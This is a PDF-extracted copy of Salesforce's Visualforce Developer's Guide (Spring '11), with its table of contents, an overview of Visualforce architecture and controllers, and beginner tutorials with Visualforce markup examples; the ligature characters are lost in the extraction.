Visualforce Developer's Guide
Visualforce Developer's Guide
0: Spring '11
names and marks. Other marks appearing herein may be trademarks of their respective owners.
Table of Contents
Table of Contents
Chapter 1: Introducing Visualforce..............................................................................................9
What is Visualforce?......................................................................................................................................................9 What is a Visualforce Page?.............................................................................................................................10 Where Can Visualforce Pages Be Used?..........................................................................................................11 Which Editions Support Visualforce?.........................................................................................................................11 How is Visualforce Architected?..................................................................................................................................11 What are the Benets of Visualforce?.........................................................................................................................13 When Should I Use Visualforce?.................................................................................................................................14 How Do Visualforce Pages Compare to S-Controls?..................................................................................................15 How is Visualforce Versioned?....................................................................................................................................16 What's New in Visualforce Version 21.0?....................................................................................................................17 Documentation Typographical Conventions...............................................................................................................18
Table of Contents Using Salesforce Styles................................................................................................................................................49 Using Custom Styles...................................................................................................................................................51 Using Content Type....................................................................................................................................................53
ii
Table of Contents Step Three of the Opportunity Wizard.........................................................................................................103 Advanced Visualforce Dashboard Components........................................................................................................104 Integrating Visualforce and Google Charts...............................................................................................................105 Mass-Updating Records with a Custom List Controller...........................................................................................109
iii
iv
Table of Contents apex:commandButton ...............................................................................................................................................225 apex:commandLink ..................................................................................................................................................228 apex:component ........................................................................................................................................................231 apex:componentBody ................................................................................................................................................233 apex:composition ......................................................................................................................................................235 apex:dataList .............................................................................................................................................................236 apex:dataTable ..........................................................................................................................................................238 apex:dene ................................................................................................................................................................245 apex:detail .................................................................................................................................................................246 apex:enhancedList ....................................................................................................................................................247 apex:facet ..................................................................................................................................................................249 apex:ash ..................................................................................................................................................................250 apex:form ..................................................................................................................................................................251 apex:iframe ................................................................................................................................................................254 apex:image ................................................................................................................................................................255 apex:include ..............................................................................................................................................................257 apex:includeScript .....................................................................................................................................................258 apex:inlineEditSupport .............................................................................................................................................259 apex:inputCheckbox .................................................................................................................................................260 apex:inputField .........................................................................................................................................................264 apex:inputFile ...........................................................................................................................................................266 apex:inputHidden .....................................................................................................................................................268 apex:inputSecret ........................................................................................................................................................269 apex:inputText ..........................................................................................................................................................272 apex:inputTextarea ....................................................................................................................................................274 apex:insert .................................................................................................................................................................277 apex:listViews ...........................................................................................................................................................278 apex:message .............................................................................................................................................................279 apex:messages ...........................................................................................................................................................280 apex:outputField .......................................................................................................................................................282 apex:outputLabel ......................................................................................................................................................283 apex:outputLink .......................................................................................................................................................285 apex:outputPanel ......................................................................................................................................................288 apex:outputText ........................................................................................................................................................290 apex:page ..................................................................................................................................................................292 apex:pageBlock .........................................................................................................................................................295 apex:pageBlockButtons .............................................................................................................................................298 apex:pageBlockSection .............................................................................................................................................300 apex:pageBlockSectionItem ......................................................................................................................................302 apex:pageBlockTable ................................................................................................................................................305 apex:pageMessage .....................................................................................................................................................310 apex:pageMessages ...................................................................................................................................................311 apex:panelBar ............................................................................................................................................................312 apex:panelBarItem ....................................................................................................................................................314 apex:panelGrid .........................................................................................................................................................316
Table of Contents apex:panelGroup .......................................................................................................................................................320 apex:param ................................................................................................................................................................321 apex:relatedList .........................................................................................................................................................322 apex:repeat ................................................................................................................................................................324 apex:scontrol .............................................................................................................................................................326 apex:sectionHeader ...................................................................................................................................................327 apex:selectCheckboxes ..............................................................................................................................................328 apex:selectList ...........................................................................................................................................................331 apex:selectOption .....................................................................................................................................................334 apex:selectOptions ....................................................................................................................................................337 apex:selectRadio ........................................................................................................................................................338 apex:stylesheet ..........................................................................................................................................................341 apex:tab .....................................................................................................................................................................342 apex:tabPanel ............................................................................................................................................................344 apex:toolbar ..............................................................................................................................................................347 apex:toolbarGroup ....................................................................................................................................................351 apex:variable ..............................................................................................................................................................353 apex:vote ...................................................................................................................................................................354 chatter:feed ...............................................................................................................................................................354 chatter:feedWithFollowers .......................................................................................................................................355 chatter:follow ............................................................................................................................................................355 chatter:followers ........................................................................................................................................................356 ow:interview ...........................................................................................................................................................356 ideas:detailOutputLink .............................................................................................................................................357 ideas:listOutputLink .................................................................................................................................................358 ideas:proleListOutputLink .....................................................................................................................................360 knowledge:articleCaseToolbar ..................................................................................................................................361 knowledge:articleList ................................................................................................................................................362 knowledge:articleRendererToolbar ...........................................................................................................................363 knowledge:articleTypeList ........................................................................................................................................363 knowledge:categoryList ............................................................................................................................................364 messaging:attachment ...............................................................................................................................................365 messaging:emailHeader ............................................................................................................................................366 messaging:emailTemplate .........................................................................................................................................367 messaging:htmlEmailBody .......................................................................................................................................369 messaging:plainTextEmailBody ................................................................................................................................370 site:googleAnalyticsTracking ....................................................................................................................................371 site:previewAsAdmin ................................................................................................................................................372
vi
Table of Contents
vii
Table of Contents
viii
Chapter 1
Introducing Visualforce
Over the past several years, salesforce.com has created a comprehensive platform for building on-demand applications. Like other sophisticated application development platforms, the Force.com platform offers separate tools for dening: The structure of the datathat is, the data model The rules that detail how that data can be manipulatedthat is, the business logic The layouts that specify how that data should be displayedthat is, the user interface Note: Splitting up application development tools based on whether they affect the data model, business logic, or user interface is also known as the Model-View-Controller (MVC) application development patternthe Model is the data model, the View is the user interface, and the Controller is the business logic. While the tools for building the data model and business logic for applications are powerful solutions that run natively on Force.com platform servers, the existing tools for dening user interfaces have had certain limitations: Page layouts, the point-and-click tool that allows application developers to organize elds, buttons, and related lists on record detail pages, do not provide much exibility in how sets of information are displayed. Fields must always appear above related lists, buttons must always appear above elds, and s-controls and custom links can only be placed in particular areas. S-controls, the tool that allows application developers to display custom HTML in a detail page or custom tab, provide more exibility than page layouts, but: Execute from within a browser, causing poor performance if displaying or updating values from more than a few records at a time Do not provide an easy way to give custom user interface elements the same look-and-feel as standard Salesforce pages Require developers to enforce eld uniqueness and other metadata dependencies on their own
For these reasons, salesforce.com has introduced Visualforce, the next-generation solution for building sophisticated custom user interfaces on the Force.com platform.
What is Visualforce?
Visualforce is a framework that allows developers to build sophisticated, custom user interfaces that can be hosted natively on the Force.com platform. The Visualforce framework includes a tag-based markup language, similar to HTML. In the Visualforce markup language, each Visualforce tag corresponds to a coarse or ne-grained user interface component, such as a section of a page, a related list, or a eld. The behavior of Visualforce components can either be controlled by the same logic that is used in standard Salesforce pages, or developers can associate their own logic with a controller class written in Apex.
Introducing Visualforce
See Also:
Building a Custom Controller Building a Controller Extension
Visualforce Markup Visualforce markup consists of Visualforce tags, HTML, JavaScript, or any other Web-enabled code embedded within a single <apex:page> tag. The markup denes the user interface components that should be included on the page, and the way they should appear. Visualforce Controllers A Visualforce controller is a set of instructions that specify what happens when a user interacts with the components specied in associated Visualforce markup, such as when a user clicks a button or link. Controllers also provide access to the data that should be displayed in a page, and can modify component behavior. A developer can either use a standard controller provided by the Force.com platform, or add custom controller logic with a class written in Apex: A standard controller consists of the same functionality and logic that is used for a standard Salesforce page. For example, if you use the standard Accounts controller, clicking a Save button in a Visualforce page results in the same behavior as clicking Save on a standard Account edit page. If you use a standard controller on a page and the user doesn't have access to the object, the page will display a insufcient privileges error message. You can avoid this by checking the user's accessibility for an object and displaying components appropriately. A standard list controller enables you to create Visualforce pages that can display or act on a set of records. Examples of existing Salesforce pages that work with a set of records include list pages, related lists, and mass action pages.
10
Introducing Visualforce
A custom controller is a class written in Apex that implements all of a page's logic, without leveraging a standard controller. If you use a custom controller, you can dene new navigation elements or behaviors, but you must also reimplement any functionality that was already provided in a standard controller. Like other Apex classes, custom controllers execute entirely in system mode, in which the object and eld-level permissions of the current user are ignored. You can specify whether a user can execute methods in a custom controller based on the user's prole.
A controller extension is a class written in Apex that adds to or overrides behavior in a standard or custom controller. Extensions allow you to leverage the functionality of another controller while adding your own custom logic. Because standard controllers execute in user mode, in which the permissions, eld-level security, and sharing rules of the current user are enforced, extending a standard controller allows you to build a Visualforce page that respects user permissions. Although the extension class executes in system mode, the standard controller executes in user mode. As with custom controllers, you can specify whether a user can execute methods in a controller extension based on the user's prole. Note: Although custom controllers and controller extension classes execute in system mode and thereby ignore prole-based permissions and eld-level security, you can choose whether they respect a user's organization-wide defaults, role hierarchy, and sharing rules by using the with sharing keywords in the class denition. For information, see Using the with sharing or without sharing Keywords in the Force.com Apex Code Developer's Guide.
11
Introducing Visualforce
Figure 2: Visualforce System Architecture - Development Mode When a developer nishes writing a Visualforce page and saves it to the platform, the platform application server attempts to compile the markup into an abstract set of instructions that can be understood by the Visualforce renderer. If compilation generates errors, the save is aborted and the errors are returned to the developer. Otherwise, the instructions are saved to the metadata repository and sent to the Visualforce renderer. The renderer turns the instructions into HTML and then refreshes the developer's view, thereby providing instantaneous feedback to the developer for whatever changes were made in the markup. The architecture diagram below shows the process ow when a non-developer user requests a Visualforce page. Because the page is already compiled into instructions, the application server simply retrieves the page from the metadata repository and sends it to the Visualforce renderer for conversion into HTML.
12
Introducing Visualforce
Figure 3: Visualforce System Architecture - Standard User Mode Note: Your Visualforce pages may be run on one of the force.com servers instead of a salesforce.com server.
See Also:
What is Visualforce? What are the Benefits of Visualforce? How Do Visualforce Pages Compare to S-Controls?
13
Introducing Visualforce
Model-View-Controller (MVC) style development Visualforce conforms to the Model-View-Controller (MVC) development pattern by providing a clear division between the view of an application (the user interface, dened by Visualforce markup), and the controller that determines how the application works (the business logic, dened by a Visualforce controller written in Apex). With this architecture, designers and developers can easily split up the work that goes with building a new applicationdesigners can focus on the look and feel of the user interface, while developers can work on the business logic that drives the app. Concise syntax Visualforce pages can implement the same functionality as s-controls but with approximately 90% fewer lines of code. Data-driven defaults Visualforce components are rendered intelligently by the platform. For example, rather than forcing page designers to use different component tags for different types of editable elds (such as email addresses or calendar dates), designers can simply use a generic <apex:inputField> tag for all elds. The Visualforce renderer displays the appropriate edit interface for each eld. Hosted platform Visualforce pages are compiled and rendered entirely by the Force.com platform. Because they are so tightly integrated, they display the same performance as standard Salesforce pages, regardless of the amount of data being displayed or edited. Automatically upgradeable Visualforce pages do not need to be rewritten when other parts of the Force.com platform are upgraded. Because the pages are stored as metadata, they are automatically upgraded with the rest of the system.
Visualforce
Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and customizing the Salesforce user interface. With Visualforce you can: Build wizards and other multistep processes Create your own custom ow control through an application Dene navigation patterns and data-specic rules for optimal, efcient application interaction
Apex
Use Apex if you want to: Create Web services Create email services Perform complex validation over multiple objects Create complex business processes that are not supported by workow Create custom transactional logic (logic that occurs over the entire transaction, not just with a single record or object)
14
Introducing Visualforce
Attach custom logic to another operation, such as saving a record, so that it occurs whenever the operation is executed, regardless of whether it originates in the user interface, a Visualforce page, or from the Web Services API
For more information, see the Force.com Apex Code Developer's Guide.
Standard Salesforce component library Yes Access to built-in platform behavior Data binding Yes, through the standard controller Yes Developers can bind an input component (such as a text box) with a particular eld (such as Account Name). If a user saves a value in that input component, it is also saved in the database. Stylesheet inheritance Respect for eld metadata, such as uniqueness Yes Yes, by default If a user attempts to save a record that violates uniqueness or requiredness eld attributes, an error message is automatically displayed and the user can try again.
15
Introducing Visualforce
S-Controls
Direct, by binding to a custom controller Indirect, by using Apex webService methods through the API More responsive because markup is generated on the Force.com platform Less responsive because every call to the API requires a round trip to the serverthe burden rests with the developer to tune performance In an iFrame
Page container
Native
See Also:
What is Visualforce? What are the Benefits of Visualforce? How is Visualforce Architected?
See Also:
Managing Version Settings for Custom Components Managing Package Version Settings for Visualforce Pages and Components
16
Introducing Visualforce
You asked for it! This enhancement is from an idea on IdeaExchange. API version 21.0 provides inline editing support to the <apex:detail> component. It also introduces the <apex:inlineEditingSupport> component, which gives inline editing functionality to several container components. Inline editing allows users to quickly change eld values on a record's detail page, saving the user from having to access the record's edit page rst. As a requirement, these components must also be descendants of an <apex:form> tag whenever inline editing is used. Components that are supported by <apex:inlineEditingSupport> include:
<apex:dataList> <apex:dataTable> <apex:form> <apex:outputField> <apex:pageBlock> <apex:pageBlockSection> <apex:pageBlockTable> <apex:repeat>
Inline editing is not supported for rich text areas (RTAs) or dependent picklists when using <apex:outputField>. For more information, see the Enabling Inline Editing Quick Start tutorial. Javascript Remoting for Apex Controllers Note: The @RemoteAction annotation is currently available as a Developer Preview. You must contact Salesforce.com Support to enable this feature. Starting with API version 21.0, Visualforce now provides support for some methods in Apex controllers to be called via Javascript. Your Visualforce pages and Apex classes must be running API version 21.0.
17
Introducing Visualforce
For more information, see Javascript Remoting for Apex Controllers. Text in Title and Subtitle Attributes Is Now Escaped Any text placed in the title and subtitle attributes is now escaped for the <apex:page>, <apex:sectionHeader>, and <apex:pageBlockSection> components. This improves your page's security against attacks such as Cross-Site Scripting. For more information on escaping content, see Unescaped Output and Formulas in Visualforce Pages. New <flow:interview> Component for Flows If your organization has Force.com Flow enabled, you can use the <flow:interview> component to embed an active ow in a Visualforce page.
Description In descriptions of syntax, monospace font indicates items that you should type as shown, except for brackets. For example:
Public class HelloWorld
Italics
In description of syntax, italics represent variables. You supply the actual value. In the following example, three values need to be supplied: datatype variable_name [ = value]; If the syntax is bold and italic, the text represents a code element that needs a value supplied by you, such as a class name or variable value:
public static class YourClassHere { ... }
<>
In descriptions of syntax, less-than and greater-than symbols (< >) are typed exactly as shown.
<apex:pageBlockTable value="{!account.Contacts}" var="contact"> <apex:column value="{!contact.Name}"/> <apex:column value="{!contact.MailingCity}"/>
18
Introducing Visualforce
Convention
Description
<apex:column value="{!contact.Phone}"/> </apex:pageBlockTable>
{}
[]
In descriptions of syntax, anything included in brackets is optional. In the following example, specifying value is optional:
datatype variable_name [ = value];
In descriptions of syntax, the pipe sign means or. You can do one of the following (not all). In the following example, you can create a new unpopulated set in one of two ways, or you can populate the set:
Set<datatype> set_name [= new Set<datatype>();] | [= new Set<datatype{value [, value2. . .] };] | ;
19
To enable Visualforce development mode: 1. Click Your Name Setup My Personal Information Personal Information, and click Edit. 2. Select the Development Mode checkbox. 3. Optionally, select the Show View State in Development Mode checkbox to enable the View State tab on the development footer. This tab is useful for monitoring the performance of your Visualforce pages. 4. Click Save. You can also develop Visualforce pages through the Salesforce user interface by clicking Your Name Setup Develop Pages. For Visualforce components, click Your Name Setup Develop Components. The Force.com IDE, a plug-in for the Eclipse IDE, offers capabilities not found elsewhere. The Force.com IDE provides a unied interface for building and deploying Force.com applications, and includes tools such as source code editors, project wizards, and integrated help. The IDE is designed for advanced developers and development teams.
20
Click Where is this used? to view a list of all items in Salesforce that reference the page, such as custom tabs, controllers, or other pages.
For more information on how to improve Visualforce using the view state tab, see Best Practices for Improving Visualforce Performance on page 198. The View State tab contains the following columns (in alphabetical order): Column
% of Parent Name Size Type Value
Description The percent of the overall size that the custom controller, Apex object, or eld contributes to the parent. The name of the custom controller, Apex object, or eld. The view state size of the custom controller, Apex object, or eld. The type of custom controller, Apex object, or eld. The value of the eld.
The Name column contains nodes dening the various parts of your Visualforce page. They are (in alphabetical order):
21
Node
Component Tree
Description This represents the overall structure of your page. Its size is affected by the number of components you have on the page. Generally, fewer components means a smaller component tree, which could result in faster load times. You can see how much of your view state size is made up from the component tree by clicking the View State folder. This represents the internal Salesforce data used by your Visualforce page. This can't be controlled by developers. You can see how much of your view state size is made up from internal elements by clicking the State folder. This represents the data used by formula expressions dened in your Visualforce page. This folder contains all the Visualforce custom controllers, Apex objects, or elds. By expanding the child Controller and Controller Extension folders, you can see each object that's on the page, its elds, and the value of those elds. Generally, these are dependent on your Apex controller logic. This folder contains all the nodes. By clicking on it, you can nd overall information about your Visualforce page's view state. The Capacity tab tells you how much of your allotted view state size is being used. If you exceed that amount, the graph will also tell you how many kilobytes you've gone over.
Internal
Expressions State
View State
22
with an <H2> tag and keep all the attributes on the original <H1> intact, search for <H1(\s+)(.*)> and replace it with <H2$1$2>.
Go to line ( ) This button allows you to highlight a specied line number. If the line is not currently visible, the editor scrolls to that line. Undo ( ) and Redo ( ) Use undo to reverse an editing action and redo to recreate an editing action that was undone. Font size Select a font size from the drop-down list to control the size of the characters displayed in the editor. Line and column position The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line ( ) to quickly navigate through the editor.
Line and character count The total number of lines and characters is displayed in the status bar at the bottom of the editor.
23
Chapter 3
Getting a Quick Start with Visualforce
To showcase the essential elements of Visualforce, this chapter includes a set of examples that demonstrate features of the language. While the examples do not go into every detail, rule, or exception for every tag or controller, new Visualforce developers can use this tutorial to understand how Visualforce works before proceeding to the more detailed descriptions in the remainder of this guide. The examples are broken up into beginner and advanced sections. The beginner examples primarily use Visualforce markup. The advanced examples use Force.com Apex code in addition to Visualforce markup. Advanced examples that require Apex are in their own chapter.
24
For example, if you want to create a page called HelloWorld and your salesforce.com organization uses na3.salesforce.com, enter http://na3.salesforce.com/apex/HelloWorld. Because the page does not yet exist, you are directed to an intermediary page from which you can create your new page. Click Create Page <myNewPageName> to create it automatically. Note: If you do not have Visualforce development mode enabled, you can also create a new page by clicking Your Name Setup Develop Pages, and then clicking New. Visualforce pages can always be edited from this part of setup, but to see the results of your edits you have to navigate to the URL of your page. For that reason, most developers prefer to work with development mode enabled so they can view and edit pages in a single window.
Figure 4: A New Visualforce Page You now have a Visualforce page that includes default text. To edit your new page, click the Page Editor bar that appears at the bottom of the browser. It expands to show you the following Visualforce markup:
<apex:page> <!-- Begin Default Content REMOVE THIS --> <h1>Congratulations</h1> This is your new Apex Page: HelloWorld <!-- End Default Content REMOVE THIS --> </apex:page>
This default markup includes the only required tag for any page the <apex:page> tag that begins and ends any page markup. Embedded within the start and close <apex:page> tags is plain text, some of which is formatted with a standard HTML tag, <h1>.
25
As long as you keep the required <apex:page> tag you can add as much plain text or valid HTML to this page as you want. For example, after entering the following code and clicking Save in the Page Editor, the page displays the text Hello World! in bold:
<apex:page> <b>Hello World!</b> </apex:page>
Tip: Pay attention to warningsthe Visualforce editor displays a warning if you save a page with HTML that does not include a matching end tag for every opened tag. Although the page saves, this malformed HTML might cause problems in your rendered page.
$User is a global variable that always represents the current user record. All global variables are referenced with a $ symbol.
For a list of global variables that you can use in Visualforce, see Global Variables on page 374. To access elds from a record that is not globally available, like a specic account, contact, or custom object record, you need to associate your page with a controller. Controllers provide pages with the data and business logic that make your application run, including the logic that species how to access a particular object's records. While you can dene a custom controller for any page with Apex, Salesforce includes standard controllers for every standard and custom object. For example, to use the standard controller for accounts, add the standardController attribute to the <apex:page> tag, and assign it the name of the account object:
<apex:page standardController="Account"> Hello {!$User.FirstName}! </apex:page>
After you save your page, the Accounts tab is highlighted for the page, and the look-and-feel for the components on the page match the Accounts tab. Additionally, you can now access elds on the account record currently in context by using {!account.<fieldName>} expression syntax. For example, to display an account's name on a page, use {!account.name} in the page markup:
<apex:page standardController="Account"> Hello {!$User.FirstName}! <p>You are viewing the {!account.name} account.</p> </apex:page>
The {!account.name} expression makes a call to the getAccount() method in the standard Account controller to return the record ID of the account currently in context. It then uses dot notation to access the name eld for that record. Note: You cannot access parent objects using this expression language. In other words, {!account.parent.name} will return an error.
26
To bring an account record into the current context, you must add a query parameter to the page URL that species the ID of the record. To do this: 1. Find the ID of an account by any means you wish. One easy way is to view the detail page of an account record and copy the character code at the end of the URL. For example, if you navigate to an account detail page with the following URL:
https://na3.salesforce.com/001D000000IRt53
Then 001D000000IRt53 is the ID for the account. 2. Back on your page, add the account ID as a query string parameter to the URL in your browser's address bar. For example, if your page is located at:
https://na3.salesforce.com/apex/HelloWorld2
Note: If you use the id parameter in a URL, it must refer to the same entity referred to in the standard controller.
Once an account ID is specied in the URL, the page displays the appropriate account name, as shown in the following gure.
27
</apex:pageBlock> </apex:page>
Figure 6: The <apex:pageBlock> Component Tags also exist for other common Salesforce interface components, such as related lists, detail pages, and input elds. For example, to add the content of a detail page, use the <apex:detail> component tag:
<apex:page standardController="Account"> <apex:pageBlock title="Hello {!$User.FirstName}!"> You are viewing the {!account.name} account. </apex:pageBlock> <apex:detail/> </apex:page>
Figure 7: The <apex:detail> Component Without Attributes Without any specied attributes on the tag, <apex:detail> displays the complete detail view for the context record. If you want to modify properties such as which record details are displayed, or whether related lists or the title appear, you can use
28
attributes on the tag. For example, the following markup displays the details of the context account's owner, without related lists or a colored title bar:
<apex:page standardController="Account"> <apex:pageBlock title="Hello {!$User.FirstName}!"> You are viewing the {!account.name} account. </apex:pageBlock> <apex:detail subject="{!account.ownerId}" relatedList="false" title="false"/> </apex:page>
Figure 8: The <apex:detail> Component Without Related List or Title Elements To browse the component library, click Component Reference in the Page Editor. From this page you can drill down into any component to see the attributes that are available for each, including any custom components that you dene.
See Also:
Standard Component Reference
29
2. Click the Create Page tabbedAccount link to create the new page. 3. Click the Page Editor link in the bottom left corner of the page. This displays the code for the new page, which should look like this:
<apex:page> <!-- Begin Default Content REMOVE THIS --> <h1>Congratulations</h1> This is your new Page: tabbedAccount <!-- End Default Content REMOVE THIS --> </apex:page>
4. Replace the existing code with the following and click Save:
<apex:page standardController="Account" showHeader="true" tabStyle="account" > <style> .activeTab {background-color: #236FBD; color:white; background-image:none} .inactiveTab { background-color: lightgrey; color:black; background-image:none} </style> <apex:tabPanel switchType="client" selectedTab="tabdetails" id="AccountTabPanel" tabClass='activeTab' inactiveTabClass='inactiveTab'> <apex:tab label="Details" name="AccDetails" id="tabdetails"> <apex:detail relatedList="false" title="true"/> </apex:tab> <apex:tab label="Contacts" name="Contacts" id="tabContact"> <apex:relatedList subject="{!account}" list="contacts" /> </apex:tab> <apex:tab label="Opportunities" name="Opportunities" id="tabOpp"> <apex:relatedList subject="{!account}" list="opportunities" /> </apex:tab> <apex:tab label="Open Activities" name="OpenActivities" id="tabOpenAct"> <apex:relatedList subject="{!account}" list="OpenActivities" /> </apex:tab> <apex:tab label="Notes and Attachments" name="NotesAndAttachments" id="tabNoteAtt"> <apex:relatedList subject="{!account}" list="NotesAndAttachments" /> </apex:tab> </apex:tabPanel> </apex:page>
5. Notice that there is no data in the Account page. You need to specify the ID of a particular account in the URL, as you've done with previous pages. For example,
https://Salesforce_instance/apex/tabbedAccount?id=001D000000IRt53
After you add in an account ID, your page should display as follows:
30
and inactiveTab.
<apex:tabPanel> is used to generate the tabs. Notice how it uses the following attributes:
tabClass attribute: species the style class used to display a tab when it is active. inactiveTabClass attribute: species the style class used to display a tab when it is inactive.
Within the denition of the tab panel, is the denition of each child tab component, <apex:tab>. The rst tab uses the <apex:detail> tag to return that portion of the detail view for the page:
<apex:tab label="Details" name="AccDetails" id="tabdetails"> <apex:detail relatedList="false" title="true"/> </apex:tab>
While the rest of the tabs use the <apex:relatedList> to specify the different parts of the account page. The following is the tab for contacts. It uses an existing list of contacts.
<apex:tab label="Contacts" name="Contacts" id="tabContact"> <apex:relatedList subject="{!account}" list="contacts" /> </apex:tab>
Now that you've created a page to display an account with tabs, you can use this page to override the detail view for all accounts. 1. 2. 3. 4. 5. Click Your Name Setup Customize Accounts Buttons and Links. In the Standard Buttons and Links related list, click Edit next to View. For Override With select Visualforce Page. From the Visualforce Page drop-down list, select tabbedAccount. Click Save.
Click the Account tab, and select any account. The detail for the account is now displayed with tabs.
31
Figure 9: Overriding the Account Detail Page The Visualforce page can also refer to other standard objects, such as contacts, by changing the reference to the standard object. For example:
<apex:page action="{!URLFOR($Action.Contact.List, $ObjectType.Contact)}"/>
Displaying Field Values with Visualforce on page 26 has more information about retrieving the ID of a record.
<apex:page standardController="Account"> <apex:form> <apex:pageBlock title="Hello {!$User.FirstName}!"> You are viewing the {!account.name} account. <p/> Change Account Name: <p/>
32
<apex:inputField value="{!account.name}"/> <p/> <apex:commandButton action="{!save}" value="Save New Account Name"/> </apex:pageBlock> </apex:form> </apex:page>
Notice in the example that: The <apex:inputField> tag is bound to the account name eld by setting the tag's value attribute. The expression contains the familiar {!account.name} dot-notation used to display the eld's value elsewhere in the page. The <apex:commandButton> tag has an action attribute. The value for this attribute invokes the save action of the standard Account controller, which performs identically to the Save button on the standard Account edit page.
Figure 10: The <apex:form> Component with a Single Input Field The only elds that the <apex:inputField> tag cannot display are those dened as member variables of a custom controller class written in Apex. To gather data for these variables, use the <apex:inputCheckbox>, <apex:inputHidden>, <apex:inputSecret>, <apex:inputText>, or <apex:inputTextarea> tags instead.
33
6. Click Next twice, then click Save. To dene the eld dependencies for Subcategories: 1. 2. 3. 4. 5. 6. Click Your Name Setup Customize Accounts Fields Click Field Dependencies. Click New. Choose Industry as a controlling eld, and Subcategories as a dependent eld. Click Continue. Each value in the controlling eld (from Industry) is listed in the top row and each value in the dependent eld (from Subcategory) is displayed in the column below it. Set your eld dependencies to match this image:
Figure 11: The Field Dependency Matrix for Subcategories You can disregard any other Industry types that aren't shown above. 7. Click Save. Now, create a Visualforce page called dependentPicklists that looks like this:
<apex:page standardController="Account"> <apex:form > <apex:pageBlock mode="edit"> <apex:pageBlockButtons > <apex:commandButton action="{!save}" value="Save"/> </apex:pageBlockButtons> <apex:pageBlockSection title="Dependent Picklists" columns="2"> <apex:inputField value="{!account.industry}"/> <apex:inputField value="{!account.subcategories__c}"/> </apex:pageBlockSection> </apex:pageBlock> </apex:form> </apex:page>
When you select Agriculture from the Industry picklist, the Subcategories picklist contains Apple Farms, Corn Fields, and Winery. If you select Communication, your Subcategories picklist contains all the Communication types dened earlier.
34
There's a limit of 10 dependent picklist pairs per page. This is totalled across all objects. Thus, you could have ve dependent picklists on Account, and ve on Contact, but no more. However, you can repeat the same pair of dependent picklists, such as in an iterative tag like <apex:repeat>, without counting more than once against your limit.
To create a dashboard that uses this Visualforce page: 1. 2. 3. 4. 5. 6. 7. View the dashboard and click Edit. Click Add Component from the top of any column. Choose a Visualforce Page as the component type. Optionally, enter a header to display at the top of the dashboard component. Optionally, enter a footer to display at the bottom of the dashboard component. From the Visualforce Page drop-down list, select VFDash. Click Save.
35
Figure 12: Sample Visualforce Page Running in a Dashboard For a more complex example that uses a custom list controller, see Advanced Visualforce Dashboard Components on page 104.
For this page to display the related list data, the ID of a valid custom object record with a custom relationship must be specied as a query parameter in the URL for the page, for example, http://na3.salesforce.com/myCustomRelatedList?id=a00x00000003ij0. Although MyLookupObject uses a different type of relationship, the syntax is identical:
<apex:page standardController="MyLookupObject__c"> <apex:relatedList list="MyChildObjects__r" /> </apex:page>
36
To see the power of inline editing, create a page called inlineDetail with the following code:
<apex:page standardController="Account"> <apex:detail subject="{!account.Id}" relatedList="false" /> </apex:page>
Note: Remember, for this page to display account data, the ID of a valid account record must be specied as a query parameter in the URL for the page. For example,
https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb
Displaying Field Values with Visualforce on page 26 has more information about retrieving the ID of a record. Try to double-click one of the elds, like Account Number. You'll notice that nothing happens. Now, replace the page with the following code:
<apex:page standardController="Account"> <apex:form > <apex:detail subject="{!account.Id}" relatedList="false" inlineEdit="true"/> </apex:form> </apex:page>
Hover over any of the elds, and you'll notice that you can now edit their contents directly. Clicking Save at the top of the section preserves all your changed information. Components that support inline editing must always be descendants of the <apex:form> tag. The <apex:inlineEditingSupport> component must be a descendant of the following components:
<apex:dataList> <apex:dataTable> <apex:form> <apex:outputField> <apex:pageBlock> <apex:pageBlockSection> <apex:pageBlockTable> <apex:repeat>
Here's a sample that demonstrates how you can create a page using <apex:pageBlockTable> that makes use of inline editing:
<apex:page standardController="Account" recordSetVar="records" id="thePage"> <apex:form id="theForm"> <apex:pageBlock id="thePageBlock"> <apex:pageBlockTable value="{!records}" var="record" id="thePageBlockTable"> <apex:column > <apex:outputField value="{!record.Name}" id="AccountNameDOM" /> <apex:facet name="header">Name</apex:facet> </apex:column> <apex:column > <apex:outputField value="{!record.Type}" id="AccountTypeDOM" /> <apex:facet name="header">Type</apex:facet> </apex:column> <apex:column > <apex:outputField value="{!record.Industry}" id="AccountIndustryDOM" /> <apex:facet name="header">Industry</apex:facet> </apex:column> <apex:inlineEditSupport event="ondblClick"
37
showOnEdit="saveButton,cancelButton" hideOnEdit="editButton" /> </apex:pageBlockTable> <apex:pageBlockButtons > <apex:commandButton value="Edit" action="{!save}" id="editButton" /> <apex:commandButton value="Save" action="{!save}" id="saveButton" /> <apex:commandButton value="Cancel" action="{!cancel}" id="cancelButton" /> </apex:pageBlockButtons> </apex:pageBlock> </apex:form> </apex:page>
Things to note about using renderAs: Currently, PDF is the only supported content converter. Rendering a Visualforce page as a PDF is intended for pages that are designed and optimized for print. Standard components which are not easily formatted for print or contain form elements like inputs, buttons, and any component that requires JavaScript to be formatted, should not be used. This includes but is not limited to any component that requires a form element. Verify the format of your rendered page before deploying it. If the PDF fails to display all the characters, adjust the fonts in your CSS to use a font that supports your needs. For example:
<apex:page renderas="pdf"> <html> <head> <style> body { font-family: Arial Unicode MS; } </style> </head> This page is rendered as a PDF </html> </apex:page>
The maximum response size when creating a PDF must be below15 MB. Note that the following components do not support double-byte fonts when rendered as a PDF: <apex:pageBlock> <apex:sectionHeader>
For more information, see Best Practices for Rendering PDFs on page 205. In the previous tutorial, you used a Visualforce page to change the name of a company. Suppose you wanted to generate an announcement of the new name as a PDF. The following example produces such a page, along with the current date and time:
<apex:page renderAs="pdf" standardController="Account"> <html> <head> <style> body {font-family: Arial Unicode MS;} .companyName { font-weight:bold;
38
font-size:30px; color:red} </style> </head> <center> <h1>Announcing New Account Name!</h1> <apex:panelGrid columns="1" width="100%"> <apex:outputText value="{!account.Name}" styleClass="companyName"/> <apex:outputText value="{!NOW()}"></apex:outputText> </apex:panelGrid> </center> </html> </apex:page>
well as a particular style for the company name. <center> is also CSS markup that aligns the text in the center of the page. Some of the output text is contained in an <apex:panelGrid> component. A panel grid renders as an HTML table. Each component found in the body of the <apex:panelGrid> component is placed into a corresponding cell in the rst row until the number of columns is reached. As there is only a single cell, each output text is displayed in a separate row.
See Also:
Styling Visualforce Pages
39
Note: Remember, for this page to display account data, the ID of a valid account record must be specied as a query parameter in the URL for the page. For example,
https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb
